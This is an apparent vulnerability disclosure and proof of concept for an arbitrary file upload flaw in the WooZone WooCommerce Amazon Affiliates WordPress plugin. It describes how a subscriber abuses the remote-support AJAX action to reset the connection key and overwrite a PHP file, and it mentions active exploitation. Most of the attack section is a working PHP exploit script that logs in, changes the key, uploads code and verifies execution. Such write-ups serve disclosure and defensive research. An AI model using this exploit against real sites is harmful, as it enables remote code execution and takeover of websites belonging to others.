WooZone - WooCommerce Amazon Affiliates [Arbitrary File Upload]
This vulnerability exploits the lack of security checks when performing actions through WooZoneRemoteSupportRequest
AJAX action, in order to perform an Arbitrary File Upload attack.
Description
An attacker can then use the WooZoneRemoteSupportRequest
AJAX action to set the
key to whatever value he likes. But in order to do that he must be either
authenticated or use an CSRF attack. Since this plugin is installed along with
WooCommerce and Woo allows user registration, this attack should be applicable
on all sites this plugin is installed, though it might be a little hard to
create a fully automated script.
Then an attacker can use the woozone/modules/remote_support/remote_init.php
file to upload a file (action save_file
):
Vulnerable params are $_REQUEST['file']
and $_REQUEST['file_content']
which express the file name and the file contents respectively. Note
that the specified file name must point to an existing file. Directory
traversal is also applicable in $_REQUEST['file']
param.
In polestar it seems like we have like 300 attacks in ~ 170 hosts that use the
save_file
to upload malware. They all use the same key e8ada846316050f8d3d323e46e42666c
and even though they might be some false positives, in general I think it makes
stronger suggestion that this vulnerability is actively exploited.
PoC
The source files were provided by Brad from a hacked website. It seems
like remote_support
module is missing config.php
file. Without it
the module won’t load and this attack will fail. The contents of
config.php
file should look like this:
<?php
echo json_encode(
array(
'remote_support' => array(
'version' => '1.0',
'menu' => array(
'order' => 20,
'show_in_menu' => true,
'title' => 'Remote support',
'icon' => 'images/16.png'
),
/*'in_dashboard' => array(
'icon' => 'images/32.png',
'url' => admin_url("admin.php?page=WooZone_remote_support")
),*/
'help' => array(
'type' => 'remote',
'url' => 'http://docs.aa-team.com/woocommerce-amazon-affiliates/documentation/price_select/'
),
'description' => "....",
'module_init' => 'init.php',
'load_in' => array(
'backend' => array(
'admin.php?page=WooZone_remote_support',
'admin-ajax.php'
),
'frontend' => false
),
'javascript' => array(
'admin',
'hashchange',
'tipsy',
'thickbox'
),
'css' => array(
'admin',
'tipsy'
)
)
)
);
Actual exploit:
#!/usr/bin/env php
<?php
/*******************************************************************************
* WooZone - WooCommerce Amazon Affiliates [Arbitrary File Upload]
*
* Exploit Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Session;
use Wordfence\ExKit\WPAuthentication;
Config::get('url.base', null, true, 'Enter the site URL')
|| ExitCodes::exitWithFailedPrecondition('You must enter a valid URL');
$s = new Session();
$s->XDebugOn();
Cli::writeInfo('Authenticating...');
WPAuthentication::logInAsUserRole($s, WPAuthentication::USER_ROLE_SUBSCRIBER);
/*******************************************************************************
* First an authenticated user will use the `WooZoneRemoteSupportRequest` to
* update authentication key
******************************************************************************/
Cli::writeInfo('Updaing connection key...');
$connectionKey = uniqid();
$postData = [
'action' => 'WooZoneRemoteSupportRequest',
'sub_actions' => 'access_details',
'params' => 'WooZone-allow_file_remote=yes&WooZone-key=' . urlencode($connectionKey),
];
$r = $s->post(Endpoint::adminAjaxURL(), [], $postData);
$rJson = @json_decode($r->body);
if(!$r->success || !$rJson || !isset($rJson->status) || $rJson->status != 'valid'){
ExitCodes::exitWithFailed('Failed to update connection key');
}
/*******************************************************************************
* We updated the connection key, update a file
******************************************************************************/
Cli::writeInfo('Sending code to file `remote_init.php`...');
$identifier = uniqid();
$postData = [
'file_content' => base64_encode('<?php echo "'.$identifier.'";'),
'file' => 'remote_init.php',
'action' => 'save_file',
'connection_key' => $connectionKey,
];
$r = $s->post(Endpoint::pluginsURL().'/woozone/modules/remote_support/remote_tunnel.php', [], $postData);
/*******************************************************************************
* Verify successful exploitation
******************************************************************************/
Cli::writeInfo('Verifying exploit...');
$url = Endpoint::pluginsURL().'/woozone/modules/remote_support/remote_init.php';
$r = $s->get($url);
if(!$r->success || $r->body != $identifier){
ExitCodes::exitWithFailed('Failed to verify exploit');
}
Cli::writeSuccess('Sucessfuly verified exploit');
- 24 January 2017
- Pan Vagenas
- codecanyon.net
- WooZone - WooCommerce Amazon Affiliates
- 9.0.2.17
- WordPress 4.7.0
- DWF-2017-87001